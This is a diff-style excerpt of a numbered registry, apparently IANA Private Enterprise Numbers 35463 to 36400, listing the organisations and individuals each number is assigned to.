+35463 EfiCode Oy
+35464 Blues Point Partners Pty Ltd
+35465 Bank Julius Baer & Co. Ltd.
+35466 Forsway Scandinavia AB
+35467 OOO"SpinBrain"
+35468 Kaunas University of Technology
+35469 Seamless Distribution AB
+35470 First-Matrix
+35471 Johns Byrne Company
+35472 blichmann.de
+35473 UNETCONVERGENCE
+35474 TransMIT GmbH
+35475 Sprengnetter GmbH
+35476 The Overtis Group Limited
+35477 Dataram Corporation
+35478 The UNIX Man Consulting, LLC
+35479 Academic Medical Center
+35480 Kutak Rock LLP
+35481 LightningIO
+35482 Image Soft Oy
+35483 Exagate
+35484 Alphacom LLC.
+35485 Derrick & Associates, Inc
+35486 Television New Zealand Ltd
+35487 The Salvation Army USA Western Territory
+35488 The Corosync Cluster Engine Project
+35489 IRZ AUTOMATION TECHNOLOGIES LTD (formerly 'Radiofid Ltd')
+35490 AGEPS - APHP
+35491 M.S. Projekt Management + Vertrieb GmbH
+35492 RheinLand Versicherungen
+35493 EMBED-IT OG
+35494 act750
+35495 Arjo Wiggins Chartham Limited
+35496 Interface Devices Ltd
+35497 GenLan d.o.o.
+35498 VDG Security BV
+35499 Stratos NZ Ltd
+35500 Aim co., Ltd.
+35501 Access General Insurance Holdings
+35502 BIGSSS
+35503 CybersCube
+35504 Eitelwein Net
+35505 Lindenbaum GmbH
+35506 Streamezzo S.A.
+35507 Ben Clifford
+35508 Addiva Engineering AB
+35509 C Squared Systems, LLC
+35510 Tecnicas De Soft, S.A.
+35511 VirtualScopics
+35512 OSSEra, Inc
+35513 AixConcept GmbH
+35514 Liquidweb Inc
+35515 KJ3 Elektronik
+35516 Suomen Teollisuusosa Oy
+35517 Shernet
+35518 Bay Talkitec Private Limited
+35519 Maldives Monetary Authority
+35520 Video Clarity
+35521 Entimo AG
+35522 Comelit Group SpA
+35523 Phillips and Jordan, Inc.
+35524 phgamers
+35525 DirectStreams
+35526 Foundata GmbH (formerly 'ikt.werk GbR')
+35527 FlexRadio Systems
+35528 ADLANTIA
+35529 Evony LLC
+35530 TJK Tietolaite Oy
+35531 Contato Global Solutions
+35532 ACSYS BSC Sp. z o.o.
+35533 Axecta Inc.
+35534 ettex GmbH
+35535 NanVPN
+35536 Systems in Progress GmbH
+35537 TeMeno GmbH
+35538 TeleTrader Software AG
+35539 Micros Systems, Inc.
+35540 M/s. Varun Infosys
+35541 Oesterreichische Elektrizitaetswirtschafts-AG
+35542 Lucas sarl
+35543 Novaworx
+35544 Jas. Quinn & Son
+35545 Robot Lda.
+35546 EBS S.R.L.
+35547 CA DiKey Ltd
+35548 KNI Technical Consulting Ltd.
+35549 E-Disp DA
+35550 Leith Brandeland
+35551 Conchus
+35552 COMGuide Co.,Ltd.
+35553 Internet Hypermarket Ltd.
+35554 CorSsys
+35555 Infinities Within
+35556 OdysSloot
+35557 Nyadendis Enterprices
+35558 IT-INTEGRATION - SOLUÇÕES INTEGRADAS EM TECNOLOGIA DA INFORMAÇÃO LTDA ME
+35559 Shanda Interactive Entertainment Limited
+35560 Dnspod
+35561 NetDialog International B.V.
+35562 Service Elements
+35563 saladisdead.com
+35564 Universidad Catolica Andres Bello
+35565 Koozyt, Inc.
+35566 trammell.ch
+35567 CME Group
+35568 Beth Israel Deaconess Medical Center
+35569 A-dec Inc.
+35570 Travel Tripper LLC
+35571 LU-Hosting
+35572 Arends IT+TK
+35573 sitel
+35574 Dambach-Werke GmbH
+35575 ByteSource Technology Consulting GmbH
+35576 Ailux S.r.l.
+35577 LivingData Gesellschaft für angewandte Informationstechnologien mbH
+35578 Southern Telecommunications Company
+35579 Super Group Trading (Pty) Ltd
+35580 Technisys, Inc.
+35581 Linct
+35582 mTrust, s. r. o.
+35583 Drizzle
+35584 BANK AL MAGHRIB
+35585 Intelcan Technosystems Inc.
+35586 Competentum
+35587 White Birch Paper division Papier Masson
+35588 ndl.kiev.ua
+35589 Confederación Pirata (formerly 'Partido PIRATA')
+35590 Convergent Communications, Inc
+35591 Limited Liability Company "Mejregiongaz "
+35592 FiberSensing S.A.
+35593 Thales / Rockwell Collins
+35594 iCOMcept GmbH
+35595 distributedmatter.net
+35596 Innovid Co., Ltd.
+35597 "TeleMiks" UE
+35598 PIWorks Inc
+35599 Marketware
+35600 TCC R&D GmbH
+35601 TransCanada Pipelines Ltd
+35602 Syndetic Pty Ltd
+35603 TIANJIN DEVISER ELECTRONICS INSTRUMENT CO.,LTD
+35604 Compal Broadband Networks Inc.
+35605 Montani Webdevelopment + Strategie
+35606 ZAO NPC "KOMPYUTERNYE TECHNOLOGII"
+35607 Wireless eSystems
+35608 Answer Quick
+35609 AXIe Consortium, Inc.
+35610 Itel snc
+35611 SOFT PROJECT C.A.
+35612 Digital Mages
+35613 Linktrust
+35614 ITK-Engineering
+35615 Basilea Pharmaceutica Ltd
+35616 Deltanet AG
+35617 XtcN
+35618 Beanfield Technologies Inc.
+35619 Mittwald CM Service
+35620 William Beaumont Hospitals
+35621 Patrick Kobly
+35622 Akaflieg Stuttgart
+35623 stwalkerster.co.uk (formerly 'Albino Slug Studios')
+35624 tuxad.com
+35625 Vembu Technologies Private Limited
+35626 CHONGQING JINGHONG HI-TECH CO.,LTD
+35627 Atera Networks LTD
+35628 Unitas Network GmbH
+35629 PL-Grid
+35630 Qube Technologies Sp. z o.o.
+35631 CyberTrans Japan
+35632 ntop
+35633 Open Sistemas
+35634 Karl Wörwag Lack- und Farbenfabrik GmbH & Co. KG
+35635 GFR Software Solutions AG
+35636 KION GROUP GmbH
+35637 ubiqu access b.v.
+35638 Flughafen Wien AG
+35639 Wydawnictwo Naukowe PWN S.A.
+35640 Appareo Systems, LLC
+35641 Universidad de los Andes
+35642 Paneda AS
+35643 EURIX srl
+35644 Olson Consulting
+35645 ZiChen Tech. Co. Ltd.
+35646 Arca Technologies S.r.l.
+35647 G4S Deposita (RF) (Pty) Ltd (formerly 'Deposita Systems (Pty) Ltd')
+35648 Broadband Solutions Technology Pty Ltd
+35649 Direct Payment Solutions Limited
+35650 Piratenpartei Schweiz
+35651 IHM P/S
+35652 Informatique de Sécurité
+35653 DeltaWare Systems Inc.
+35654 HAUT COMMISSARIAT POUR LES REFUGIES HCR (UNHCR)
+35655 Peak Solution GmbH
+35656 Brian Delaney
+35657 PT. Bank BRI Syariah
+35658 Health Info Net AG
+35659 «Baker Tilly Russaudit» Ltd.
+35660 3Way Solutions
+35661 NetworkIP
+35662 Optrak Distribution Software Ltd
+35663 State of Hawaii
+35664 PI-Embedded - Building Automation Community
+35665 BroadBand Security, Inc.
+35666 Joint Stock Commercial Bank INVESTBANK Open-end JSC
+35667 Elimco Sistemas S.L.
+35668 PEAK6 Investments, L.P.
+35669 Advanced Integration Technology
+35670 Alberta Health Services
+35671 im3D S.p.A.
+35672 Bitnethic Srl
+35673 Bank Saint Petersburg
+35674 Johan De Wit
+35675 ZAP S/A Internet
+35676 ComPughTerWorx
+35677 Envisionier Medical Technologies, Inc.
+35678 Clayster AB
+35679 GRITA
+35680 AdGear Technologies Inc. (formerly 'Bloom Digital Platforms')
+35681 Zenith System Solutions
+35682 Technical University of Liberec
+35683 Hofmann-IT-Systeme Ingenieurbuero
+35684 Proserve B.V.
+35685 HELLUG
+35686 Brian Desmond Consulting, LLC
+35687 Proware Technologies Co., LTD
+35688 Hochschule Wismar - University of Applied Sciences - Technology, Business and Design
+35689 Betfair
+35690 Indaal Information Management GmbH
+35691 Matthias Bonn it-consult
+35692 Headweb AB
+35693 Open-Future BVBA
+35694 Choosehelp.com
+35695 SITEM S.r.l.
+35696 NetScout Systems, Inc. (formerly 'Avvasi')
+35697 Ystrad Mynach College of Further Education
+35698 Ldap.com.br
+35699 Cummins Power Generation
+35700 Tyrian Technical Consulting
+35701 phpcoms
+35702 NTO IRE-Polus, Ltd. (formerly 'Optical Components & Systems')
+35703 JSC DevLab
+35704 SALUC
+35705 HWS Informationssysteme GmbH
+35706 Guangzhou KingTeller Technology Co.,Ltd
+35707 S&P
+35708 BOUYGUES CONSTRUCTION
+35709 Unassigned
+35710 Alcatel-Lucent, 4ESS
+35711 Sopinspace
+35712 Master Translation and Technology Services Co.,Ltd.
+35713 Information Management Services
+35714 kommtnoch.com
+35715 Video Gaming Technologies
+35716 Action Without Borders
+35717 DI Michael Kuen
+35718 Mississippi Gulf Coast Community College
+35719 Shopping.com
+35720 Infotrend Development
+35721 Institute of Corporate Law and Corporate Governance
+35722 Digital Nirvana
+35723 SENSAIR Pty Ltd
+35724 Chenega Corporation
+35725 China Beijing TV Station
+35726 China Guangdong Telepower Communication Technology Co.,Ltd.
+35727 First Horizon National Corporation
+35728 Scallable Technologies, Inc.
+35729 Forssan Seudun Puhelin Oy / SurffiNET
+35730 iAd GmbH
+35731 abtis GmbH
+35732 Ajuntament de Benicarló
+35733 VIDA Diagnostics Inc
+35734 Lennart Jütte
+35735 A9 SAS
+35736 BZCToOn'S Network / RedJuice.fr SARL
+35737 QA Cafe LLC
+35738 abcwxy.com
+35739 Bowline Network Consulting, Inc
+35740 SACD
+35741 Chi-X Europe Ltd
+35742 Neurosearch, Inc.
+35743 Workonline Communications (Pty) Ltd
+35744 D-Media Communication Tech
+35745 Marine Harvest ASA
+35746 Passepartout sa
+35747 FEDERALNOE AGENTSTVO ZhELEZNODOROZhNOGO TRANSPORTA
+35748 Switch++
+35749 Alsim
+35750 Spring Wireless
+35751 Linux Lunatix
+35752 Supra net d.o.o.
+35753 Les Développements Durables
+35754 ON-AIR Systems Ltd.
+35755 P-21 GmbH
+35756 inett GmbH
+35757 Sonnection B.V.
+35758 Stichting Diagnose Kanker
+35759 Welkin Sciences, LLC
+35760 Optical Access Networks Lab, Shanghai University
+35761 Center Parcs Europe
+35762 FMLOG, Swedish Armed Forces Logistics
+35763 Groupe Laurent
+35764 St. Lawrence College
+35765 zbits Unternehmensberatung GmbH
+35766 Killermann GdbR
+35767 University of Lodz
+35768 GetWellNetwork, Inc.
+35769 Wellogic
+35770 USIL Technology
+35771 Hightech Payment Systems
+35772 n@work Internet Informationssysteme GmbH
+35773 Arcturus Networks Inc.
+35774 Starline Holdings
+35775 Rachitskiy Research and Development LLC
+35776 BlueNote Communications SA
+35777 Unique Solutions SA
+35778 RTC-LEASING OJSC
+35779 ican solutions private limited
+35780 OAO Tatneft
+35781 Matej Bel University Banska Bystrica
+35782 Universidad de Extremadura
+35783 Nika Ltd
+35784 ECKD Service GmbH
+35785 Xcira, Inc.
+35786 Continuant Inc
+35787 Computaris
+35788 Xolido Systems,S.A.
+35789 Despegar.com, Inc.
+35790 ClearCorp
+35791 IES Systems, Inc.
+35792 Rygl
+35793 Hirotech, Inc.
+35794 Java Verified
+35795 Actifio
+35796 Burda:IC GmbH
+35797 Polska Telefonia Cyfrowa Sp. z o.o.
+35798 shack e.V.
+35799 Phmb Consulting
+35800 Uniconsult
+35801 EIX Ltd
+35802 Mobango Ltd
+35803 Eucalyptus Systems Inc.
+35804 Allgood Networks
+35805 Athonet s.r.l.
+35806 Paul Milliken
+35807 AJR Development
+35808 SAR Elektronik A.S.
+35809 Hosting Community
+35810 CDL PMO
+35811 AMTANGEE Aktiengesellschaft
+35812 CANCOM IT Solutions GmbH
+35813 LinuxRulz
+35814 Cordier Networks
+35815 QUADStor Systems
+35816 Shenzhen HY Amplitec Technology Co.,Ltd
+35817 Giorik spa
+35818 Azienda Feltrina s.p.
+35819 Digithurst Bildverarbeitungssysteme
+35820 RCS Kladno, s.r.o.
+35821 FBComputers s.r.l.
+35822 V-Internet Operations, Inc.
+35823 HANGZHOU RICH INFO-TECH CO.,LTD
+35824 Boll und Partner Software GmbH
+35825 INAX Corporation
+35826 THALES AIR OPERATION
+35827 Invengo Information Technology Co.,Ltd
+35828 Entropia e.V.
+35829 United Natural Foods, Inc.
+35830 ROFFET.com
+35831 ATECH MICROELECTRONIC SYSTEMS
+35832 Open Horizont.Ltd
+35833 Deva Broadcast Ltd.
+35834 Gozaimass
+35835 iB Solution Corporation
+35836 China BraveFly Technology Co., Ltd.
+35837 Mamat GmbH
+35838 Matrixx Software Inc.
+35839 Imagine One Technology & Management
+35840 Gyrus ACMI, Inc.
+35841 Agecodagis SARL
+35842 RamVZ
+35843 Sebastian Muszytowski
+35844 Stormont-Vail HealthCare
+35845 Heraklion Wireless
+35846 Parsons
+35847 Greenbone Networks GmbH
+35848 Multipolaris Ltd.
+35849 Telefonica International Wholesale Services
+35850 Horns And Hooves
+35851 Abix Tecnologia
+35852 Spire Sciences LLC
+35853 Remote Enterprise Monitoring, Inc.
+35854 American Modern
+35855 Dialog Semiconductor
+35856 Berchtold Holding GmbH
+35857 AMARON BVBA
+35858 The Goodyear Tire & Rubber Co.
+35859 Georgia-Pacific LLC.
+35860 Kvadroteh Ltd.
+35861 CRAWFORD COMMUNICATIONS, INC
+35862 Mobile Integration Workgroup
+35863 WAMAJU LLC
+35864 Ales Hakl
+35865 Trivia Solutions B.V.
+35866 Eno, Inc.
+35867 Prior srl
+35868 Ater Belluno
+35869 STB Broadcast
+35870 OpsWise Software Inc.
+35871 Cloupia
+35872 huggla.com
+35873 JDS Uniphase Corporation
+35874 LiveAction
+35875 JX2 Technology Pty Ltd
+35876 WHITECODE,.LTD
+35877 High Technology Industries B.V. (formerly 'LEITNER AG - S.p.A')
+35878 Conseil général de l'Aube
+35879 WellDoc, Inc.
+35880 JSC "Mediafon"
+35881 Ionis group
+35882 NTT DATA KYUSHU CORPORATION
+35883 VisualSoft Private Limited
+35884 Nethost s.r.o.
+35885 VZ Holding AG
+35886 Arise Telecommunications Ltd.
+35887 Lucierna SLNE
+35888 DeadInkVinyl
+35889 ColumbiaSoft Corporation
+35890 Video-Flow ltd
+35891 punctum Gesellschaft fuer Software mbH
+35892 ELMEH GIU
+35893 Xelmo
+35894 Cognimatics AB
+35895 Slackarea Internet Services
+35896 Concord Energy
+35897 Violin Memory, Inc.
+35898 SYSTEREL
+35899 Prism Clinical Imaging, Inc.
+35900 DuMont Net GmbH & Co. KG
+35901 Al-Quds University
+35902 EasyTools (formerly 'OpenHeadend')
+35903 Bartonia Domain and Enterprises
+35904 MacroSAN
+35905 ACME-Cebul inc.
+35906 Unister
+35907 CRV Natural
+35908 Embrane, Inc.
+35909 Horace Mann Educators Corporation
+35910 overnet.qc.ca
+35911 Mrezne Tehnologije Verso
+35912 Makedonijalek
+35913 Diputacion Provincial de Cáceres
+35914 Borea, Ltd.
+35915 SERLI
+35916 Orangehead Software
+35917 kobisun.org Surdurulebilir Sunucu Sistemleri
+35918 ETON International co. ltd
+35919 Funkwerk plettac electronics GmbH
+35920 Sebastian Himberger Software
+35921 Alpha-Bit GmbH
+35922 Backbase B.V.
+35923 Enthusia Consulting Ltd
+35924 IET-International Empire Traders
+35925 Warsaw Stock Exchange
+35926 Aguas de la Cuenca del Norte, S.A.
+35927 Softfinança S.A.
+35928 Wheaton College
+35929 Prodata Mobility Systems NV
+35930 Radeks Medical Information Technologies Ltd
+35931 Woasis Telecommunications Ltd.
+35932 JM Technology Inc.
+35933 Semiocast
+35934 OOO CPCR-Express
+35935 RAU-Stromversorgungen GmbH
+35936 Iconmobile GmbH
+35937 Unassigned
+35938 Omnibond Systems LLC.
+35939 Original1 GmbH
+35940 Neuhalfen
+35941 Mitsubishi UFJ Securities (USA), Inc.
+35942 Uralchem
+35943 Boerse Stuttgart
+35944 Selecom
+35945 Swid
+35946 SMG Co., Ltd.
+35947 SME Soluciones
+35948 Phoneytunes.com
+35949 Vienna Symphonic Library GmbH
+35950 eFolder, Inc.
+35951 XConnect Global Networks
+35952 Sleevewerks BV
+35953 Chargetek, Inc.
+35954 VOD Pty Ltd
+35955 Niigata University
+35956 china wing technologies co.,ltd.
+35957 Donjin Communication Technology Co.Ltd
+35958 Vedekon
+35959 TECHWAY S.A.S
+35960 Drotposta Consulting Ltd
+35961 Christian Arnold
+35962 Pumpkin Heads Co.,Ltd.
+35963 k12 ITC, Inc.
+35964 BeiJing CS&S HuaTech Info Tech Ltd
+35965 Control Risks Group Ltd
+35966 MBDA Italia SPA
+35967 AutoZone
+35968 TrustFabric
+35969 Vidyo, Inc.
+35970 Planetsgroup
+35971 Zaha Hadid Architects
+35972 Audaxis S.A.
+35973 Fenazari
+35974 SnmpSoft Company
+35975 Healthsense, Inc.
+35976 Herrmann EDV-Beratung
+35977 Reddog Chili
+35978 Clearleap, Inc.
+35979 Gonow Tecnologia
+35980 vMonitor LLC
+35981 isigma asesoría tecnológica, S.L.
+35982 HUMANNIX co., Ltd
+35983 MADS B.V.
+35984 Simbrella
+35985 SM CNS Corporation
+35986 KALKITECH
+35987 Sangoma Technologies
+35988 Hiport srl
+35989 Maranatha Christian University
+35990 UK MOD DE&S
+35991 Chesapeake Systems
+35992 Christian Hain
+35993 Syrus, Ltd.
+35994 Intuix LLC
+35995 quidecco.de
+35996 Datatek Applications Inc.
+35997 Kath. Jugend St. Bruno
+35998 Universitat d'Andorra
+35999 E-Flamingo LLC
+36000 Host-Consultants
+36001 PJB Consulting
+36002 Taiji Computer Corporation Ltd.
+36003 Techlan s.r.l.
+36004 Vitracom AG
+36005 CSE s.c.a.r.l. Consorzio Servizi Bancari
+36006 VFT Telecom
+36007 Logikos, Inc.
+36008 Kelly Services, Inc.
+36009 6connect, Inc.
+36010 lordgandalf
+36011 Commontime Ltd
+36012 Oxford Life Insurance Company
+36013 SMA Solar Technology AG
+36014 Radio Free Asia
+36015 SavillTech
+36016 PROCERGS - Rio Grande do Sul State IT Company, Brazil
+36017 Huntsman Cancer Institute at the University of Utah
+36018 RAAF Technology
+36019 die tageszeitung
+36020 PoC Oy Ltd.
+36021 IT Research Center LLP
+36022 rku.it GmbH
+36023 Stichting Christelijke Hogeschool Windesheim
+36024 AltaSoft s.c.
+36025 Videopolis France
+36026 GoldZone Web
+36027 Methode Electronics
+36028 NoconaGeek
+36029 Medical Micrographics LLC
+36030 Happyserver Ltd
+36031 Techsense Solutions Sdn Bhd
+36032 Promsvjazdizajn, OOO
+36033 Pak eVentures
+36034 Kelvin Connect Ltd
+36035 Signe S.A.
+36036 DNA Oy
+36037 Folia a/s
+36038 Adif, Administrador de Infraestructuras Ferroviarias
+36039 Estonian Internet Foundation
+36040 Ibetor, S.L.
+36041 KAMAZ Inc.
+36042 LIAB ApS
+36043 Athena Wireless Communications Inc.
+36044 UCC Pro GmbH (formerly 'NSSR.neT')
+36045 Uma Electrotechnical Services
+36046 tdvine Co., Ltd
+36047 Kadme AS
+36048 PUISSANCE +
+36049 GGG Kft.
+36050 Feed Your Head
+36051 TDM Consult GmbH
+36052 EdgeCast Networks, Inc.
+36053 Azka National for Information Technology
+36054 eVigilo Ltd
+36055 RadLogix Pty Ltd
+36056 AIDev LLC
+36057 FreeSInno Network Technology Co.,Ltd
+36058 Beijing TopLink Technology Development Co., Ltd
+36059 International Electric Supply Corp. (IESC)
+36060 geek!daily
+36061 Amonics Ltd.
+36062 Integrius AB
+36063 NKIA Co.,Ltd.
+36064 Zappware
+36065 Pionier - Polish Optical Internet
+36066 Invensys/Triconex
+36067 Timo Gerke
+36068 UBIMET GesmbH
+36069 Carbofos RU
+36070 Power Standards Lab
+36071 HerpEco LLC
+36072 Antares 611 LLC
+36073 ETECSA s.a.
+36074 Dark Matter Labs Inc.
+36075 TBWA\Chiat\Day
+36076 SAPO
+36077 Xilocore
+36078 RFVISION Co.,LTD
+36079 Audaxis
+36080 National Information Technology and Internet Agency
+36081 Clare Controls, Inc.
+36082 Electronic Tele-Communications, Inc.
+36083 Agility Logistics Pvt Ltd
+36084 Electronic Classroom Of Tomorrow
+36085 L-Card
+36086 lamehost.it
+36087 MCIO Incorporated
+36088 LinowSat
+36089 SPARF
+36090 Remote Instruments
+36091 SIS Group Pty Ltd
+36092 NPP Ugpromavtomatizaciya
+36093 Weifang Dongsheng Electronics Co., Ltd.
+36094 VVDN Technologies
+36095 Insighteck
+36096 Adama University
+36097 Unixwiz.net
+36098 GoodForBusiness
+36099 Hangmat
+36100 WWF-UK
+36101 South Patron (formerly 'SMK Software')
+36102 Paramatrix Technologies Pvt. Ltd.
+36103 Lan ETS
+36104 TraceSpan Communications
+36105 Blue Corss Blue Shield of Massachusetts
+36106 Wraptastic, LLC (for http://rpm5.org)
+36107 Helen Marks Marketing Ltd
+36108 Cooperative Resources International
+36109 stellaware.de
+36110 Wannet Tecnologia da Informação LTDA.
+36111 INNOS Co., Ltd.
+36112 Perceptive Software, Inc
+36113 IQinVision
+36114 Automazione e Sicurezza Ferroviaria
+36115 True Access Consulting SA
+36116 Akrometrix, LLC
+36117 Gustav R. Jansen
+36118 Offshore Systems Ltd.
+36119 Zer0.Tools IT Solutions
+36120 Lemnisys
+36121 Ebruit Ltd.
+36122 Designskolen Kolding
+36123 KORATEK
+36124 Vinzenz Gruppe Krankenhausbeteiligungs- und Management GmbH
+36125 secadm GmbH
+36126 CCBill
+36127 The Ulyanovsk reg. Dept. of Treasury
+36128 MobileTech Limited
+36129 Institution des Chartreux
+36130 INDUSTEX S.L.
+36131 Orafol Europe GmbH
+36132 woernhard.NET
+36133 Cartagena as
+36134 Tristan Navikrvicius
+36135 Yet Another Linux Distro
+36136 Central Bank of the UAE
+36137 Rising Sun Pictures
+36138 CENTRON COMMUNICATIONS TECHNOLOGIES FUJIAN CO.,LTD
+36139 Fläkt Woods Group SA
+36140 Funkwerk Information Technologies Karlsfeld GmbH
+36141 Ubiquoss
+36142 ASTREA LA INFOPISTA JURIDICA SL
+36143 dipswitch networks
+36144 NovaSparks
+36145 Alliance Healthcare
+36146 Five Colleges, Incorporated
+36147 Simrex Corporation
+36148 Webproduce Corporation
+36149 Argox Information Co., Ltd.
+36150 ShenZhen MingWah AoHan High Technology Corporation Ltd.
+36151 HM EI Zrt.
+36152 Kulczyk Tradex
+36153 Beijing InHand Networks Technology Co,.Ltd
+36154 Factor Power Inc.
+36155 US Army Surface Deployment and Distribution Command
+36156 m.a.x. Informationstechnologie AG
+36157 gooseman.cz
+36158 CoBlitz LLC
+36159 Inphoria Corporation
+36160 OR-CZ spol. s r. o.
+36161 Hills-Cook Outcomes Consulting Company
+36162 Hardata
+36163 CC Services, Inc
+36164 Videoswitch S.R.L.
+36165 Learning Objects, Inc.
+36166 Cabela's
+36167 BEWATEC Kommunikationstechnik GmbH
+36168 Jurkiewicz
+36169 RSG Model Works
+36170 KeeperOS
+36171 Host Group of Companies Pty Ltd
+36172 Gorenje, d.d.
+36173 Bob.sh
+36174 Chengdu Ethercom Information Tech.Co.Ltd
+36175 Sunspeedy Technology Co.,Ltd
+36176 Huayuan Technology CO.,LTD
+36177 AirSage Inc
+36178 Minetec Pty Ltd
+36179 Celerity Systems (Pty) Ltd
+36180 Baltic Amadeus infrastrukturos paslaugos
+36181 PM Microwave Srl
+36182 ENYCA
+36183 VMK RAUSCHER
+36184 Wright Line LLC
+36185 LVM Works
+36186 Hangzhou Prevail Optoelectronic Equipment Co.,LTD
+36187 LogicFactor
+36188 Plandata Datenverarbeitungsgesellschaft m.b.H.
+36189 BILGI GIS
+36190 Jiang Wenkai's Own LDAP
+36191 otop AG
+36192 xtendx AG
+36193 KenBIT Koenig i Wspólnicy Sp.J.
+36194 it-proserv Projects & Services Ing. Karl Liepold
+36195 Hedera Technology
+36196 Kai-Media Co.
+36197 Movius Interactive Corporation
+36198 TheSpidersProject
+36199 Open Finance
+36200 Valtech
+36201 NTV Broadcasting Company
+36202 Thomson Reuters
+36203 Namirial S.p.A.
+36204 Sysinforg Kft.
+36205 xhombee studios
+36206 Stichting Revelation Space
+36207 SYNERGY INFORMATION SYSTEMS INC.
+36208 Karl Storz
+36209 RGazdi Kft.
+36210 Centre hospitalier de l'Université de Montréal
+36211 The Catholic University of America
+36212 Research and Education Bridge Certification Authority, Inc.
+36213 SIA "INBOKSS"
+36214 Galaxy Telecom Technologies Ltd
+36215 Greek Academic Network - GUnet
+36216 GoliathDNS ENK
+36217 Ladela Interactive
+36218 Open Cloud Consultants, Inc
+36219 Pipe Coaters Nigeria Limited
+36220 FLACSO
+36221 Internet Brands, Inc.
+36222 QBS - Quality Business Software
+36223 BeST (Closed Joint-Stock Company «Belarusian Telecommunications Network»)
+36224 Playphone Entretenimento LTDA
+36225 Secure Forward, LLC
+36226 Securus Technologies Inc.
+36227 bookmark.com
+36228 Dellus communication technologies Ltd.
+36229 TechStudio Solutions Pte Ltd
+36230 Axco Insurance Information Services
+36231 semantics GmbH
+36232 Stig Johnsen IKT
+36233 Security Industry Supplies Pty. Ltd.
+36234 The Otto von Guericke University of Magdeburg
+36235 Livedrive Internet Ltd
+36236 PointSharp
+36237 Application Solutions (Electronics And Vision) Ltd
+36238 oocero microsystems Unternehmergesellschaft (haftungsbeschränkt)
+36239 Live Oak Technologies LLC
+36240 ProBuild Holdings LLC
+36241 Bankinter
+36242 mep srl
+36243 Hollan Family
+36244 Linguamatics Solutions Ltd.
+36245 EBO Group Inc.
+36246 Ärztekammer Schleswig-Holstein
+36247 ACAMS AS
+36248 HeadHunter
+36249 Green Cloud srl
+36250 New York State Division of Criminal Justice Services
+36251 Allgoodbits.org
+36252 PHARMATECHNIK GmbH & Co. KG
+36253 Customized InformSystems, Ltd
+36254 Brandon Associates
+36255 Geek Central
+36256 PRIMA Cinema, Inc.
+36257 Givaudan SA
+36258 ThreatGuard Inc.
+36259 Callino
+36260 BioMarin Pharmaceutical Inc.
+36261 BD2000 Ltd
+36262 Meyertech Ltd.
+36263 EUROP ASSISTANCE SERVICIOS INTEGRALES DE GESTION S.A.
+36264 Evaldo Gardenali
+36265 MAXBERT
+36266 Golden Gekko
+36267 Torsten Franke
+36268 ComAbility
+36269 Servicios de Consultoria Independiente S.L.
+36270 JAEA
+36271 StreamOcean inc.
+36272 Protacon Solutions Oy
+36273 Haas Elektro GmbH
+36274 Embedded Systems Technology Group
+36275 Communitake
+36276 North Island Credit Union
+36277 UOL S.A.
+36278 Protality Ltd
+36279 Uno Web Informação e Tecnologia Ltda
+36280 Basda Medical Apparatus Co.,Ltd
+36281 Beijing Boomsense Technology CO.,LTD.
+36282 Monico Monitoring inc.
+36283 Lilee Systems, Inc.
+36284 Centre Psychothérapique de l'Ain
+36285 Alliance Design WorkGroup
+36286 MIKROKLIMA s.r.o.
+36287 wTVision
+36288 Editora del Mar S.A.
+36289 AVM Informatique
+36290 VeEX Inc
+36291 Signalion GmbH
+36292 kulthauskante e.V.
+36293 Smartlink Network Systems Limited
+36294 MSO Link
+36295 Marubeni-Itochu Tubulars America, Inc.
+36296 Mentor Solutions
+36297 DVM ITS
+36298 Baustem Technologies Ltd.
+36299 Ronix Systems
+36300 Intervale JSC
+36301 URS Federal Services
+36302 ARTiiS GROUP a.s.
+36303 AuthenTec Inc.
+36304 Kandcnet Inc.
+36305 WoSign CA Limited (formerly 'WoSign eCommerce Services Ltd.')
+36306 University of Teesside
+36307 SONUMA
+36308 txtNation Ltd.
+36309 Circadence Corporation
+36310 Firelands Regional Medical Center
+36311 exthex GmbH
+36312 Alert Logic, inc.
+36313 GL Communications, Inc.
+36314 Regional Court in Lublin
+36315 Joel Riedesel
+36316 Polar Power Inc
+36317 AVCOM Of Virginia, Inc.
+36318 Marathon Petroleum Company
+36319 iT-CUBE SYSTEMS GmbH
+36320 4Tel Pty Ltd
+36321 Dirección Ejecutiva de la Magistratura
+36322 semanticlab
+36323 WynnIT Ltd
+36324 OpenRT
+36325 IMAQLIQ Ltd.
+36326 T. Gipp
+36327 9Netics Inc.
+36328 Parvus Corporation
+36329 Ohio Farmers Insurance Company
+36330 Comwired, Inc.
+36331 Social & Scientific Systems
+36332 Coast360 Federal Credit Union
+36333 Wilshire Media Group
+36334 Dialog Information Technology
+36335 aceway telecom co.,Ltd
+36336 Arxscan Inc.
+36337 St. Antonius Ziekenhuis
+36338 RESI Informatik & Automation GmbH
+36339 Neurosearch A/S
+36340 Phonographic Performance Limited
+36341 Optiver
+36342 Erlyvideo
+36343 CoreCodec, Inc.
+36344 Skyfiber Inc
+36345 Benchbee co., Ltd.
+36346 X-TRANS, Inc.
+36347 Prosodie
+36348 Compass-EOS
+36349 ANSEC Group, s.r.o.
+36350 New Zealand Ministry of Education
+36351 CESI S.p.A.
+36352 Just IT s.r.l.
+36353 Bridgewater
+36354 globo.com
+36355 BIRUNI Grid Computing Centre
+36356 Zycomm Electronics Limited
+36357 NOMOS-BANK Open Joint-Stock Company
+36358 Whole Foods Market Services, Inc
+36359 Securus Software Ltd
+36360 ASTELNET
+36361 APTEC, LLC
+36362 OT Bioelettronica snc
+36363 NRT LLC
+36364 Stefan Reinhold
+36365 OTJ Tecnologia
+36366 Kaminario
+36367 E-SONDE NETWORK MONITORING, S.L.
+36368 Shenzhen Hexicom Technology Co., Ltd.
+36369 Cirrascale Corporation
+36370 Growth Curve Technologies Ltd.
+36371 Solium Capital Inc.
+36372 Flygprestanda U.S. Inc.
+36373 HHO_Automation
+36374 MIG
+36375 Neota Logic Inc.
+36376 VersaSuite
+36377 Schmidt electronic
+36378 Nordic AkkaSource AB
+36379 Mesto Prostejov
+36380 Internet Applications Research and Development, LLC
+36381 TeleMate.Net Software
+36382 Damballa, Inc.
+36383 VDC Display Company
+36384 Designfusion Software Sales Inc
+36385 NMS Unlimited
+36386 Digia cc
+36387 Scorpion Holding Company Limited
+36388 Sanctuary Group
+36389 Infospectrum India Pvt. Ltd.
+36390 Nice Thoughts
+36391 Beijing JinYuanXin Technology Co.,Ltd.
+36392 Taxcom Ltd.
+36393 Bohemia Interactive
+36394 Benco Dental
+36395 Hochschule Wilhelmshaven/Oldenburg/Elsfleth
+36396 OAO "FSK EES" MES Siberian
+36397 Plurk Inc.
+36398 Ingenieria GBR, C.A.
+36399 39th Studios, LLC
+36400 Neo Silurian Technologies (NS-Technologies)
